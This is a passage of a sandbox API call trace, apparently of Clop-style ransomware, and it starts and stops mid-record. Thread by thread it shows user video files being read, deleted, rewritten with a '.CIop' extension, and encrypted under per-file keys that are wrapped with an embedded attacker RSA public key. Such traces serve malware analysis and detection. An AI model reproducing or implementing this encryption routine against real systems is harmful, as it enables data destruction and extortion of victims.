NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.310] lstrcpyW (in: lpString1=0x312f368, lpString2="oJoLhaSYb.mkv" | out: lpString1="oJoLhaSYb.mkv") returned="oJoLhaSYb.mkv" [0105.310] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.310] SetErrorMode (uMode=0x1) returned 0x1 [0105.310] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\oJoLhaSYb.mkv") returned 66 [0105.310] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\oJoLhaSYb.mkv", dwFileAttributes=0x20) returned 1 [0105.310] StrStrW (lpFirst="oJoLhaSYb.mkv", lpSrch=".CIop") returned 0x0 [0105.310] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\oJoLhaSYb.mkv.CIop") returned 71 [0105.310] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\oJoLhaSYb.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ojolhasyb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0105.311] ReadFile (in: hFile=0x654, lpBuffer=0x2f0cc90, nNumberOfBytesToRead=0x5096, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f0cc90*, lpNumberOfBytesRead=0x312e5e8*=0x5096, lpOverlapped=0x0) returned 1 [0105.311] CloseHandle (hObject=0x654) returned 1 [0105.311] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\oJoLhaSYb.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ojolhasyb.mkv")) returned 1 [0105.327] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0105.327] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0105.328] SetErrorMode (uMode=0x1) returned 0x1 [0105.328] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1b4c8) returned 1 [0105.337] CryptGenKey (in: hProv=0x2f1b4c8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e7f8) returned 1 [0105.358] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.358] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.358] CryptDestroyKey (hKey=0x67e7f8) returned 1 [0105.358] CryptReleaseContext (hProv=0x2f1b4c8, dwFlags=0x0) returned 1 [0105.358] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\oJoLhaSYb.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ojolhasyb.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658 [0105.358] WriteFile (in: hFile=0x658, lpBuffer=0x2f0cc90*, nNumberOfBytesToWrite=0x5096, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f0cc90*, lpNumberOfBytesWritten=0x312e5d8*=0x5096, lpOverlapped=0x0) returned 1 [0105.359] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5096 [0105.359] WriteFile (in: hFile=0x658, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.359] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x509d [0105.359] SetErrorMode (uMode=0x1) returned 0x1 [0105.359] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.359] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.359] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0105.359] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1c188) returned 1 [0105.362] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1c188, dwCertEncodingType=0x1, pInfo=0x691ba8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e978) returned 1 [0105.362] CryptEncrypt (in: hKey=0x67e978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0105.362] CryptEncrypt (in: hKey=0x67e978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1be58*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1be58*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0105.362] WriteFile (in: hFile=0x658, lpBuffer=0x2f1be58*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1be58*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.362] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.362] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.362] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.362] CloseHandle (hObject=0x658) returned 1 [0105.363] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\oJoLhaSYb.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ojolhasyb.mkv")) returned 0 Thread: id = 206 os_tid = 0xe48 [0105.365] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.365] lstrcpyW (in: lpString1=0x347f368, lpString2="pB rGU0A_4l5KRvtZ sr.mp4" | out: lpString1="pB rGU0A_4l5KRvtZ sr.mp4") returned="pB rGU0A_4l5KRvtZ sr.mp4" [0105.365] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.365] SetErrorMode (uMode=0x1) returned 0x1 [0105.365] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pB rGU0A_4l5KRvtZ sr.mp4") returned 77 [0105.365] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pB rGU0A_4l5KRvtZ sr.mp4", dwFileAttributes=0x20) returned 1 [0105.365] StrStrW (lpFirst="pB rGU0A_4l5KRvtZ sr.mp4", lpSrch=".CIop") returned 0x0 [0105.365] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pB rGU0A_4l5KRvtZ sr.mp4.CIop") returned 82 [0105.365] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pB rGU0A_4l5KRvtZ sr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pb rgu0a_4l5krvtz sr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c [0105.366] ReadFile (in: hFile=0x65c, lpBuffer=0x2f1c318, nNumberOfBytesToRead=0xb991, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesRead=0x347e5e8*=0xb991, lpOverlapped=0x0) returned 1 [0105.366] CloseHandle (hObject=0x65c) returned 1 [0105.366] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pB rGU0A_4l5KRvtZ sr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pb rgu0a_4l5krvtz sr.mp4")) returned 1 [0105.370] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0105.370] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0105.371] SetErrorMode (uMode=0x1) returned 0x1 [0105.371] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f1b4c8) returned 1 [0105.380] CryptGenKey (in: hProv=0x2f1b4c8, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67e7f8) returned 1 [0105.563] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0105.563] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0105.563] CryptDestroyKey (hKey=0x67e7f8) returned 1 [0105.563] CryptReleaseContext (hProv=0x2f1b4c8, dwFlags=0x0) returned 1 [0105.563] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pB rGU0A_4l5KRvtZ sr.mp4.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pb rgu0a_4l5krvtz sr.mp4.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x664 [0105.564] WriteFile (in: hFile=0x664, lpBuffer=0x2f1c318*, nNumberOfBytesToWrite=0xb991, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1c318*, lpNumberOfBytesWritten=0x347e5d8*=0xb991, lpOverlapped=0x0) returned 1 [0105.565] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb991 [0105.565] WriteFile (in: hFile=0x664, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.565] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb998 [0105.565] SetErrorMode (uMode=0x1) returned 0x1 [0105.565] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.565] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.565] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0105.565] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f1b770) returned 1 [0105.568] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b770, dwCertEncodingType=0x1, pInfo=0x692088, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e538) returned 1 [0105.568] CryptEncrypt (in: hKey=0x67e538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0105.568] CryptEncrypt (in: hKey=0x67e538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b4c8*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b4c8*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0105.568] WriteFile (in: hFile=0x664, lpBuffer=0x2f1b4c8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b4c8*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.568] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.568] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.568] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.568] CloseHandle (hObject=0x664) returned 1 [0105.570] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pB rGU0A_4l5KRvtZ sr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pb rgu0a_4l5krvtz sr.mp4")) returned 0 Thread: id = 207 os_tid = 0xe20 [0105.389] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.389] lstrcpyW (in: lpString1=0x326f368, lpString2="_F8m3hu10142ds4cz1.avi" | out: lpString1="_F8m3hu10142ds4cz1.avi") returned="_F8m3hu10142ds4cz1.avi" [0105.389] lstrcpyW (in: lpString1=0x326f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.389] SetErrorMode (uMode=0x1) returned 0x1 [0105.389] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\_F8m3hu10142ds4cz1.avi") returned 75 [0105.389] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\_F8m3hu10142ds4cz1.avi", dwFileAttributes=0x20) returned 1 [0105.389] StrStrW (lpFirst="_F8m3hu10142ds4cz1.avi", lpSrch=".CIop") returned 0x0 [0105.389] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\_F8m3hu10142ds4cz1.avi.CIop") returned 80 [0105.389] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\_F8m3hu10142ds4cz1.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\_f8m3hu10142ds4cz1.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0105.390] ReadFile (in: hFile=0x634, lpBuffer=0x656668, nNumberOfBytesToRead=0x14210, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x326e5e8*=0x14210, lpOverlapped=0x0) returned 1 [0105.391] CloseHandle (hObject=0x634) returned 1 [0105.391] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\_F8m3hu10142ds4cz1.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\_f8m3hu10142ds4cz1.avi")) returned 1 [0105.530] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0105.530] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32b0000 [0105.531] SetErrorMode (uMode=0x1) returned 0x1 [0105.531] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1bee0) returned 1 [0105.540] CryptGenKey (in: hProv=0x2f1bee0, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e438) returned 1 [0105.668] CryptExportKey (in: hKey=0x67e438, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.668] CryptExportKey (in: hKey=0x67e438, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32b0000, pdwDataLen=0x326e5ec | out: pbData=0x32b0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.668] CryptDestroyKey (hKey=0x67e438) returned 1 [0105.668] CryptReleaseContext (hProv=0x2f1bee0, dwFlags=0x0) returned 1 [0105.669] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\_F8m3hu10142ds4cz1.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\_f8m3hu10142ds4cz1.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x660 [0105.669] WriteFile (in: hFile=0x660, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x14210, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x326e5d8*=0x14210, lpOverlapped=0x0) returned 1 [0105.670] SetFilePointer (in: hFile=0x660, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14210 [0105.670] WriteFile (in: hFile=0x660, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.670] SetFilePointer (in: hFile=0x660, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14217 [0105.670] SetErrorMode (uMode=0x1) returned 0x1 [0105.670] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.670] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.670] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0105.671] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, 